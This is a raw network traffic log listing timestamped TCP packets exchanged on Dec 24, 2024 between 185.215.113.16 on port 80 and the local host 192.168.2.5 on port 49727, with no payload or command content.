Dec 24, 2024 12:39:34.033344030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.033391953 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.034276009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.034317970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.034322977 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.034362078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.035310030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.035379887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.035384893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.035393000 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.035425901 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.036266088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.036302090 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.036308050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.036344051 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.037188053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.037234068 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.037235975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.037247896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.037282944 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.038280964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.038336039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.038341045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.038382053 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.039120913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.039170027 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.039196968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.039202929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.039232969 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.040087938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.040147066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.040153027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.040194988 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.040795088 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.041055918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.041110039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.041114092 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.041121960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.041161060 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.042027950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.042078972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.042083979 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.042124033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.043009043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.043051958 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.043106079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.047772884 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.089169979 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.089240074 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.089246988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.089293957 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.089301109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.089308023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.089346886 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.089384079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.089432955 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.090260029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.090338945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.090382099 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.090640068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.090722084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.090728045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.090770006 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.091598988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.091645002 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.091655016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.091661930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.091701984 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.092657089 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.092731953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.092736959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.092777967 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.093575954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.093637943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.093642950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.093657017 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.093679905 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.094547033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.094654083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.094664097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.094713926 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.095516920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.095563889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.095567942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.095587969 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.095614910 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.096496105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.096623898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.096674919 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.161214113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.161262035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.161267042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.161300898 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.161740065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.161786079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.161796093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.161834955 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.162666082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.162708998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.162714005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.162758112 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.163646936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.163695097 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.163717985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.163723946 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.163764954 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.164623976 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.164711952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.164767981 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.214889050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.214936972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.214955091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.215025902 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.215200901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.215296984 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.215307951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.215481997 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.216233969 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.216353893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.216423988 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.216614962 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.216669083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.216680050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.216727018 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.217561960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.217614889 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.217632055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.217642069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.217704058 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.218524933 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.218569994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.218580008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.218624115 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.219515085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.219583035 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.219619989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.219630957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.219675064 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.220514059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.220536947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.220552921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.220592022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.221451998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.221540928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.221550941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.221601009 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.222521067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.222564936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.222580910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.222615004 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.223424911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.223496914 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.223532915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.223543882 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.223582029 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.224396944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.224476099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.224486113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.224528074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.225338936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.225393057 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.225393057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.225404978 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.225445986 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.226316929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.226383924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.226393938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.226454020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.227288008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.227349997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.227360010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.227361917 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.227396011 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.228243113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.228288889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.228306055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.228343964 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.228758097 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.229228020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.229238033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.229247093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.229290962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.230197906 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.230218887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.230228901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.230272055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.231220961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.231266022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.231304884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.231326103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.231369019 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.232135057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.232215881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.232224941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.232274055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.233122110 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.233174086 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.233187914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.233342886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.233475924 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.234072924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.234131098 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.234179974 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.234231949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.235049963 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.235095024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.235105038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.235121012 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.235146046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.247195005 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.281204939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.281251907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.281301975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.281318903 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.281618118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.281660080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.281670094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.281692982 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.281712055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.282556057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.282624960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.282773018 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.282928944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.283004999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.283015013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.283072948 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.283920050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.283979893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.283988953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.283998966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.284043074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.284873962 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.284960032 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.284970045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.285023928 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.285876036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.285927057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.285975933 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.286022902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.286068916 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.286843061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.286920071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.286930084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.286968946 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.287841082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.287894011 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.287913084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.287924051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.287966967 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.288841009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.288930893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.288984060 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.353456020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.353496075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.353504896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.353580952 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.353950024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.354003906 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.354012012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.354074001 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.354919910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.354940891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.354948997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.355017900 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.355938911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.355998039 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.356000900 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.356010914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.356050968 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.356885910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.356905937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.356960058 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.407150030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.407216072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.407224894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.407285929 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.407656908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.407675982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.407684088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.407710075 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.407746077 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.408584118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.408863068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.408921003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.408929110 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.408938885 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.408973932 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.409761906 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.409816980 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.409826994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.409873962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.410809040 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.410818100 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.410835981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.410871983 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.410897017 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.411866903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.411875010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.411891937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.411928892 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.412709951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.412730932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.412739038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.412794113 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.413650036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.413722992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.413736105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.413786888 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.414709091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.414781094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.414788961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.414921045 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.415664911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.415733099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.415741920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.415796041 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.416620970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.416663885 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.416670084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.416677952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.416721106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.417531013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.417604923 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.417614937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.417661905 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.418515921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.418566942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.418575048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.418622971 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.419497013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.419544935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.419553041 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.419610977 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.420454025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.420510054 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.420519114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.420566082 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.421421051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.421463966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.421472073 CET	80	49727	185.215.113.16	192.168.2.5
